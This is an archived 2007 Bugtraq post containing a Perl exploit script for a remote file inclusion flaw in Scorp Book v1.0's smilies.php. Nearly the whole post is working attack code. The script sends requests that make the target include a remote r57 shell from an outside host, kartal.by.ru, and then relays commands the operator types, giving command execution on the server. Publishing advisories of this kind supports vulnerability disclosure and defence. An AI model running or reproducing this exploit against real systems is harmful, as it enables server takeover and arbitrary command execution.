bugtraq - Scorp Book <== v1.0 (smilies.php) Remote File Include Exploit

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: 8 Apr 2007 08:46:55 -0000
From: k4rtal@...il.com
To: bugtraq@...urityfocus.com
Subject: Scorp Book <== v1.0 (smilies.php) Remote File Include Exploit

#       [~] Portal :  Scorp Book v1.0
#       [~] Download :  http://www.ectona.org/download/?id=598&s=info
#       [~] Author :  KaRTaLl  | k4rtal@...il.com
#       [~] Class :  Remote File Include Exploit

use IO::Socket;
if (@ARGV < 2){
print "

     +**********************************************************************+
     *                                                                      *
     *   # Scorp Book <== v1.0 (smilies.php) Remote File Include Exploit    *
     *                                                                      *
     *   # Usage   :  xpl.pl [Target] [Path]                                *
     *                                                                      *
     *   # Example :  xpl.pl                                   *
     *                                                                      *
     *                       Vuln & Coded By KaRTaL                      *
     +**********************************************************************+

";
exit();
}

$host=$ARGV[0];
$path=$ARGV[1];

print "\n[~] Please wait ...\n";

print "[~] Shell : ";$cmd = <STDIN>;

while($cmd !~ "END") {
    $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80") or die "Connect Failed.\n\n";
    print $socket "GET ".$path."/smilies.php?config=http://kartal.by.ru/r57.txt?/cmd?cmd=$cmd HTTP/1.1\r\n";
    print $socket "Host: ".$host."\r\n";
    print $socket "Accept: */*\r\n";
    print $socket "Connection: close\r\n\n";

    while ($raspuns = <$socket>)
    {
        print $raspuns;
    }

    print "[~] Shell : ";
    $cmd = <STDIN>;
	}